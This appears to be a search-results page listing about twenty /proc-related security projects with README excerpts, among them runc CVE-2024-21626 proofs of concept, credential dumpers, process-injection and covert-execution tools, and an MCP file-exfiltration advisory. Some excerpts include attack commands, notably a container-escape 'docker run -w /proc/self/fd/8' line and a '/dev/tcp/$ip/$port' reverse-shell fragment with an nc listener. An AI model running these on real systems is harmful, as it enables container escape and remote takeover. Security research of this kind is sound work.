2316 matches found
dismember
🔪 Dismember Dismember is a command-line toolkit for Linux that can be used to scan the memory of all processes or particular ones for common secrets and custom regular expressions, among other things. It will eventually become a full /proc toolkit. Using the grep command, it can match a regular...
CVE-2017-1000367
CVE-2017-1000367 We discovered a vulnerability in Sudo’s getprocessttyname for Linux: this function opens “/proc/pid/stat” man proc and reads the device number of the tty from field 7 ttynr. Unfortunately, these fields are space-separated and field 2 comm, the filename of the command can contain...
liffy
Advanced LFI Exploitation Tool A powerful Python tool for Local File Inclusion LFI exploitation with advanced features including WAF bypass, encoding techniques, and comprehensive vulnerability detection. Liffy v2.0 is the significantly enhanced version of liffy which was originally created by...
Netgrave
Netgrave A tool for retrieving login credentials from Netwave IP cameras using a memory dump vulnerability CVE-2018-17240. This project was inspired by expcamera and offers performance and efficiency improvements. This tool works for all platforms as it does not use any Linux CLI tools through...
process-injection-playground
Linux 进程注入演练场 一个全面的 Linux 进程注入技术合集,演示了向运行中进程注入代码的各种方法。这些示例仅供教育、安全研究以及理解底层 Linux 进程操作之用。 概述 进程注入是一种在另一个进程的上下文中运行代码的技术。虽然通常与恶意软件相关联,但这些技术也具有以下重要价值: 安全研究 :理解攻击向量并开发防御手段 调试 :分析和修改运行中的应用程序 插桩 :性能分析和监控 渗透测试 :授权的安全评估 CTF 竞赛 :夺旗挑战 可用技术 1. 基于 Ptrace 的代码注入 目录 :ptrace/ 经典的进程注入方法,使用 ptrace 系统调用直接将 shellcode...
Am-I-affected-by-Meltdown
Am I affected by Meltdown?! Meltdown CVE-2017-5754 checker What am I? Proof-of-concept / Exploit / Checks whether system is affected by Variant 3: rogue data cache load CVE-2017-5754, a.k.a MELTDOWN. The basic idea is that user will know whether or not the running system is properly patched with...
CVE-2024-21626
CVE-2024-21626 この脆弱性の詳細な説明については、私の記事を参照してください。 エクスプロイト コンテナの実行によるエクスプロイト カスタムイメージをビルドする必要はありません。-w パラメータを指定してコンテナを実行するだけです: docker run -w /proc/self/fd/8 --name cve-2024-21626 --rm -it debian:bookworm 実行中のコンテナへの exec によるエクスプロイト runc 自体によるエクスプロイト /container/runc/runc --version docker run --name...
CVE-2024-21626
CVE-2024-21626 PoC 要件 runc 1.1.0 /proc/self/cwd/../../../bin/bash.copy & /dev/tcp/$ip/$port 0&1 EOF listen and wait for reverse shell nc -lvvp 1337 コンテナイメージを実行し、bashシェルで poc.sh を実行 docker run -it --rm cve2024 bash /poc.sh...
whoc
whoc 내부 컨테이너 런타임을 추출하여 원격 서버로 전송하는 컨테이너 이미지입니다. 즐겨찾는 CSP 컨테이너 플랫폼의 기반 컨테이너 런타임을 건드려보세요! Defcon 29 Cloud Village에서의 WhoC Azurescape - whoc 기반 연구, 퍼블릭 클라우드 최초의 계정 간 컨테이너 탈취 70,000$ 바운티 어떻게 작동하나요? runc CVE-2019-5736에서 확인된 것처럼, 기존의 Linux 컨테이너 런타임은 /proc/self/exe를 통해 실행 중인 컨테이너에 자신을 노출합니다. whoc는 이 링크를...
dismember
🔪 Dismember Dismember는 Linux용 명령줄 도구 키트로, 모든 프로세스또는 특정 프로세스의 메모리를 스캔하여 일반적인 비밀과 커스텀 정규 표현식 등을 찾는 데 사용할 수 있습니다. 결국 완전한 /proc 도구 키트가 될 것입니다. grep 명령을 사용하면 모든 접근 가능한 프로세스의 모든 메모리에서 정규 표현식을 매칭할 수 있습니다. 이를 통해 메모리에서 민감한 데이터를 찾거나, 메모리에 포함된 내용으로 프로세스를 식별하거나, 프로세스 메모리에서 흥미로운 정보를 조사하는 데 사용할 수 있습니다. scan 명령...
mimic
mimic mimic is a tool for covert execution on Linux x8664. What is "covert execution"? Covert execution is the art of hiding a process. In this case, mimic hides the process in plain sight. mimic can launch any program and make it look like any other program. Any user can use it. It does not...
mimic
mimic mimic は、Linux x8664 で隠密実行を行うためのツールです。 「covert execution」とは? 隠密実行とは、プロセスを隠す技術です。この場合、 mimic はプロセスを目に見える場所に隠します。 mimic は任意のプログラムを起動して、他のプログラムのように見せることができます。どのユーザーでも使用できます。特別な権限は必要ありません。特別なバイナリも必要ありません。ルートキットも必要ありません。 えっ?!特別な権限がいらないの?! その通りです。 mimic は、プロセスの内部構造を再構成することで、そのプロセスの /proc...
CVE-2012-0056
Linux Local Privilege Escalation via SUID /proc/pid/mem Write Mempodipper Introducing Mempodipper, an exploit for CVE-2012-0056. /proc/pid /mem is an interface for reading and writing, directly, process memory by seeking around with the same addresses as the process's virtual memory space. In...
CVE-2023-32784-keepass-linux
KeePass 2.53/cmdline files and store the pid of ones with the keyword KeePass in their commandline argument. It'll then acquire the adresses of memory maps in /proc//maps that aren't directly associated with a library, meaning they have an empty file path. It'll then store the memory of all those...
CVE-2024-21262
記録 CVEの再現専用です。 関連リソース: LINK GITHUB1 GITHUB2 ISSUE 環境の確認 docker-24.0.6.tgz を https://download.docker.com/linux/static/stable/x8664/ からダウンロードします。 sudo mkdir -p /usr/local/docker-24.0.6 sudo tar -xzf docker-24.0.6.tgz -C /usr/local/docker-24.0.6 sudo ln -sf /usr/local/docker-24.0.6/docker/...
asminject
asminject.py asminject.py は、David Buchanan の dlinject プロジェクト を大幅に改変したフォークです。ptrace でアタッチする代わりに /proc//mem にアクセスすることで、任意のアセンブリ(またはプリコンパイル済みバイナリ)ペイロードを x86-64、x86、ARM32 の Linux プロセスに直接注入します。信頼できるプロセスの改ざん、特定のポストエクスプロイテーションシナリオ、プロセスメモリからのコンテンツ復元、一部のセキュリティコントロールの回避に役立ちます。ホスト上で root...
MCP Atlassian: Arbitrary file read via confluence_upload_attachment allows exfiltration of server credentials
SummaryMissing path validation in confluenceuploadattachment allows any authenticated MCP client to read arbitrary files from the server filesystem and exfiltrate their contents to Confluence. On Linux deployments, /proc/self/environ yields all runtime secrets in a single call.---...
php-bypass-disable-functions
php-bypass-disable-functions Linux 上の PHP の disablefunctions セキュリティ制御をバイパスする方法を示すデモプロジェクトです。プロセスは特別な /proc/self/map ファイルを標準のファイル操作(open/seek/read/write)で検査し、さらには自身のメモリを書き込むこともできます。 テスト済み: PHP 7.3.5, x8664 Linux 参照: https://seclists.org/bugtraq/2019/May/52 使い方 regularuser@7981d86dd9aa:/$...
CVE-2024-21626-POC
CVE-2024-21626-POC Usage Instructions For educational/research purposes only. Any behavior not related to education/research is at your own risk. Usage docker build . -t cve-2024-21626 docker run -it --rm cve-2024-21626 bash /poc.sh Start another terminal /bin/bash.copy Note Different docker/runc...
CVE-2025-40271
🔴 CVE-2025-40271: Critical Use-After-Free Vulnerability in the Linux Kernel 🛡️ Vulnerability Details CVE-2025-40271 is a critical Use-After-Free UAF vulnerability affecting the /proc filesystem of the Linux kernel. The flaw resides in the procreaddirde function, responsible for listing the content...